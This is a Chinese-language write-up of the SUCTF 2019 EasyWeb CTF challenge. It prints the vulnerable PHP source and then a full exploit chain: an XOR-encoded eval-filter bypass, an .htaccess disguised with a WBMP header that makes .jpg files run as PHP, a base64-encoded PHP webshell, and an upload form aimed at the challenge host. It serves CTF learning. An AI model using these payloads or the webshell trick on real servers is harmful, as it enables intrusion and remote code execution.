[SUCTF 2019]EasyWeb

<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

直接给源码,这这这,不对吧

好好看看这代码…

怎么说呢

看的出来是使用后面的那一串来引出前面那一串

那怎么引用呢

明显可以看出后面的那一串是和长度有关

所以我们看着这个长度限制可以想到拟造get传参并异或

我们先确定一下payload:

?.=${%80%80%80%80^%DF%C7%C5%D4}{%81}();&%81=get_the_flag

之后看看get_the_flag函数

过滤了ph、<?

并且要求是图片文件?

不是,这是文件上传???

从未想过的全新玩法

因为过滤了ph后缀

所以我们想到了.htaccess

所以我们要想的就是怎么让.htaccess变成图片识别

我们发现了新东西

在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

所以

.htaccess

#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./poc.jpg"
AddType application/x-httpd-php .jpg

poc.jpg

GIF89a66#base64四位一解码,所以补两位
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

之后使用php代码实现文件上传

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<!--题目链接-->
<form action="http://20052524-8eba-44ce-b01d-7334c953b20c.node5.buuoj.cn:81/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="postedFile"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

得到

upload/tmp_4247b8a5da98794f37ad36c75aaa5631/.htaccess
upload/tmp_4247b8a5da98794f37ad36c75aaa5631/poc.jpg

之后直接连接蚁剑

image-20240616210726313

找到flag